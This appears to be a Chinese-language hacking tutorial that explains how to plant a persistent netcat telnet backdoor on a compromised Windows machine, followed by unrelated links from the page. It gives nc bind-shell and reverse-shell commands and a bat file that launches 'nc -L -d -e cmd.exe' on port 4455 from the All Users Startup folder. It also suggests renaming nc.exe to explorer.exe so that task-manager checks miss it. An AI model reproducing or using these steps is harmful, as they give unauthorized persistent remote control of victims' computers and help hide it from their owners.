通过nc构造telnet后门
nc被称为网络中的“瑞士军刀”,其功能强大,如果在肉鸡上运行“nc.exe –p port –L –d –e cmd.exe”命令就可以构建一个telnet后门,即使关闭了nc.exe程序运行窗口,该后门程序还继续存在。本案例通过一个bat文件来构建一个 telnet后门,当系统重新启动后,该后门会继续存在。当然nc还有许多其它用法:
(1)连接到REMOTE主机,格式:nc -nvv 192.168.x.x 80 ,表示连到192.168.x.x的TCP80端口
(2)监听LOCAL主机,格式:nc -l -p 80 ,表示监听本机的TCP80端口
(3)扫描远程主机,格式:nc -nvv -w2 -z 192.168.x.x 80-445,表示扫描192.168.x.x的TCP80到TCP445的所有端口
(4)REMOTE主机绑定SHELL,格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe,表示绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
(5)REMOTE主机绑定SHELL并反向连接, 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口。
(6)作攻击程序用,格式:
type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
nc -nvv 192.168.x.x80
连接到192.168.x.x的80端口,并在其管道中发送'c:ex ploit.txt'的内容
(7)作蜜罐用,格式:nc -L -p 80 讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止;格式:nc -L -p 80>c:log.txt 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:log.txt'中,如果把'& gt;' 改为'>>'即可以追加日志 附:'c:log.txt'为日志等
下面主要介绍如何通过nc批处理命令来构建一个telnet类型的后门:
1.编辑一个bat文件。
在IP地址为192.168.1.19的计算机上新建一个bat文件,取名为“1.bat”,在其中输入以下内容,如图1所示。
@
@ start
@c:nc.exe –p 4455 –L –d –e cmd.exe
@exit
图1 构建一个bat文件
2.将1.bat复制到“All user”的启动文件夹。
将“1.bat”文件复制到“C:Documents and SettingsAll Users「开始」菜单程序启动”文件夹下,如图2所示。
图2 复制1.bat文件到启动文件夹下
3.等待重启后使用telnet连接肉鸡ip。
重启计算机后,用户进入计算机后,会执行“1.bat”脚本,会启动nc程序从而开启4455端口。在本地使用命令“telnet 192.168.1.19 4455”连接IP地址192.168.1.19 的计算机的4455端口,如图3所示,可以通过telnet连接肉鸡并在肉鸡上执行各种命令。
图3 使用telnet连接肉鸡4455端口
技巧
可以将nc.exe文件重新命名为其他文件,例如explorer.exe等,这样在任务管理器中看到的nc.exe变成了explorer.exe了,不容易被发觉,而nc命令中加入“-L -d”后即使关闭了nc监听窗口,该命令行还继续存在。
小结
本案例通过编写bat批处理文件,并将该bat文件放入“C:Documents and SettingsAll Users「开始」菜单程序启动”文件夹下,则无论那个用户登陆,都会启动该bat文件,从而保留nc的telnet后门,该后门只要知道端口,通过 telnet程序可以直接连接
通过nc构造telnet后门的更多相关文章
- 配置yum,nc,telnet
一.学习中问题 最近学习在学习Hadoop的一个子项目Zookeeper,在测试其中的“四字命令”---”echo ruok|nc localhost 2181“时发现命令无法被识别,如下图所示: [ ...
- nc和telnet配合使用
nc -l 9932 -c 用nc监听9932端口 telnet 180.150.184.115 29933 telnet 29932 端口
- windows后门
原文:揭秘Windows系统的四个后门 组策略欺骗后门 创建一个批处理文件add.bat,内容是: @echo off net user hack$ test168 /add net localgro ...
- 震惊!WIN2003存在后门大全,提权成功率高
从某种意义上说,服务器被攻击是不可避免的,甚至被控制也情有可原.但绝对不能容忍的是,服务器被植入后门,攻击者如入无人之境,而管理者去浑然不觉.本文将对当前比较流行的后门技术进行解析,知己知彼方能杜绝 ...
- 【权限维持】window服务端常见后门技术
0x00 前言 未知攻焉知防,攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境.这里整理一些window服务端常见的后门技术,了解攻击者的常见后 ...
- 创造tips的秘籍——PHP回调后门
作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话, ...
- 使用 nc (Netcat) 建立傳送資料的 socket server
原文:http://blog.longwin.com.tw/2012/02/nc-data-send-socket-server-2012/ 於 Debian / Ubuntu Linux 想要透過 ...
- PHP后门隐藏与维持技巧
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普. AD: 0×00 ...
- telnet 命令使用详解
1..关于NTLM验证由于Telnet功能太强大,而且也是入侵者使用最频繁的登录手段之一,因此微软公司为Telnet添加了身份验证,称为NTLM验证,它要求Telnet终端除了需要有Telnet服务主 ...
随机推荐
- LR参数组取值操作方法
LR参数组取值操作方法 奶奶的,每次都要重写一次,粘这里,以后备用.这个使用频率高. Action(){//定义一个变量int rNum; //关联参数组,前提是请求的页面中,存在参数组web_reg ...
- MySQL几个特别语法示例
简单介绍MySQL中几种特殊语法的用法: 1.创建示例用表和数据: 创建employees表[注:与SQL Server示例数据库Northwind中的表employees相同的表结构]: CREAT ...
- 转:Exploiting Electron RCE in Exodus wallet
转:https://hackernoon.com/exploiting-electron-rce-in-exodus-wallet-d9e6db13c374 Exploiting Electron R ...
- STL容器 -- Set
核心: set 是一个数学含义上的集合-----保证了每个数的确定性, 互异性, 不仅如此, set 中的元素还是有序的. 头文件: #include <set> 拓展:由于 set 内的 ...
- RxSwift 系列(四)
前言 本篇文章将要学习RxSwift中四种转换操作符: map flatMap flatMapLatest scan map 通过使用一个闭包函数将原来的Observable序列转换为一个新的Obse ...
- HDU1251 统计难题 trie树 简单
http://acm.hdu.edu.cn/showproblem.php?pid=1251 题意: 找前缀数量 裸模板 #include<cstdio> #include<cstr ...
- nginx fastcgi_buffers to an upstream response is buffered to a temporary file
fastcgi_buffers 16 16k; 指定本地需要用多少和多大的缓冲区来缓冲FastCGI的应答,如上所示,如果一个php脚本所产生的页面大小为256k,则会为其分配16个16k的缓冲区来缓 ...
- 【8.30校内测试】【找规律模拟】【DP】【二分+贪心】
对于和规律或者数学有关的题真的束手无策啊QAQ 首先发现两个性质: 1.不管中间怎么碰撞,所有蚂蚁的相对位置不会改变,即后面的蚂蚁不会超过前面的蚂蚁或者落后更后面的蚂蚁. 2.因为所有蚂蚁速度一样,不 ...
- 【HDU】6410:序列期望
序列期望 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)Total Submis ...
- sybase数据库技术 :游标可更新与for read only/for update
在定义游标时不指定for update 或 for read only,ASE会检查以了解游标是否可更新: 如果游标查询语句中包含order by子句,则ASE会将游标定义为只读:其它情况下定义为可更 ...